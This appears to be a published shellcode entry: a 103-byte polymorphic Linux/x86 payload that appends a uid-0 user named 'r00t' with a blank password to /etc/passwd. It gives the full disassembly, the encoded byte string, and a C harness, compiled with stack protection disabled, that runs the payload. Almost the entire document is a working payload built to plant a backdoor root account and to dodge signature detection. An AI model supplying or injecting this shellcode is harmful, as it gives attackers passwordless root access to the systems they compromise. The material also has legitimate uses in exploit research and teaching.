Linux/x86 - Add Root User (r00t/blank) + Polymorphic Shellcode (103 bytes)

/*
# Shellcode Title: Linux/x86 - Add User(r00t/blank) Polymorphic Shellcode (103 bytes)
# Date: 2018-09-13
# Author: Ray Doyle (@doylersec)
# Homepage: https://www.doyler.net
# Tested on: Linux/x86
# gcc -o poly_adduser_shellcode -z execstack -fno-stack-protector poly_adduser_shellcode.c
*/
 
/****************************************************
Disassembly of section .text:
 
08048060 <_start>:
 8048060:   90                      nop
 8048061:   58                      pop    eax
 8048062:   29 db                   sub    ebx,ebx
 8048064:   31 c9                   xor    ecx,ecx
 8048066:   66 b9 01 04             mov    cx,0x401
 804806a:   51                      push   ecx
 804806b:   5f                      pop    edi
 804806c:   53                      push   ebx
 804806d:   6a 06                   push   0x6
 804806f:   58                      pop    eax
 8048070:   48                      dec    eax
 8048071:   68 2f 2f 70 61          push   0x61702f2f
 8048076:   68 37 13 37 13          push   0x13371337
 804807b:   68 73 73 77 64          push   0x64777373
 8048080:   68 2f 65 74 63          push   0x6374652f
 8048085:   5a                      pop    edx
 8048086:   5e                      pop    esi
 8048087:   5f                      pop    edi
 8048088:   5f                      pop    edi
 8048089:   56                      push   esi
 804808a:   57                      push   edi
 804808b:   52                      push   edx
 804808c:   89 e3                   mov    ebx,esp
 804808e:   cd 80                   int    0x80
 8048090:   50                      push   eax
 8048091:   5a                      pop    edx
 8048092:   92                      xchg   edx,eax
 8048093:   89 c3                   mov    ebx,eax
 8048095:   6a 05                   push   0x5
 8048097:   31 d2                   xor    edx,edx
 8048099:   87 db                   xchg   ebx,ebx
 804809b:   6a 0c                   push   0xc
 804809d:   58                      pop    eax
 804809e:   5a                      pop    edx
 804809f:   92                      xchg   edx,eax
 80480a0:   52                      push   edx
 80480a1:   90                      nop
 80480a2:   68 30 3a 3a 3a          push   0x3a3a3a30
 80480a7:   56                      push   esi
 80480a8:   5e                      pop    esi
 80480a9:   68 3a 3a 30 3a          push   0x3a303a3a
 80480ae:   68 72 30 30 74          push   0x74303072
 80480b3:   48                      dec    eax
 80480b4:   89 e1                   mov    ecx,esp
 80480b6:   6a 01                   push   0x1
 80480b8:   cd 80                   int    0x80
 80480ba:   6a 04                   push   0x4
 80480bc:   58                      pop    eax
 80480bd:   83 c0 02                add    eax,0x2
 80480c0:   cd 80                   int    0x80
 80480c2:   31 c0                   xor    eax,eax
 80480c4:   40                      inc    eax
 80480c5:   cd 80                   int    0x80
****************************************************/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x90\x58\x29\xdb\x31\xc9\x66\xb9\x01\x04\x51\x5f\x53\x6a\x06\x58\x48\x68\x2f\x2f\x70\x61\x68\x37\x13\x37\x13\x68\x73\x73\x77\x64\x68\x2f\x65\x74\x63\x5a\x5e\x5f\x5f\x56\x57\x52\x89\xe3\xcd\x80\x50\x5a\x92\x89\xc3\x6a\x05\x31\xd2\x87\xdb\x6a\x0c\x58\x5a\x92\x52\x90\x68\x30\x3a\x3a\x3a\x56\x5e\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x48\x89\xe1\x6a\x01\xcd\x80\x6a\x04\x58\x83\xc0\x02\xcd\x80\x31\xc0\x40\xcd\x80";
 
main()
{
    printf("Shellcode Length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}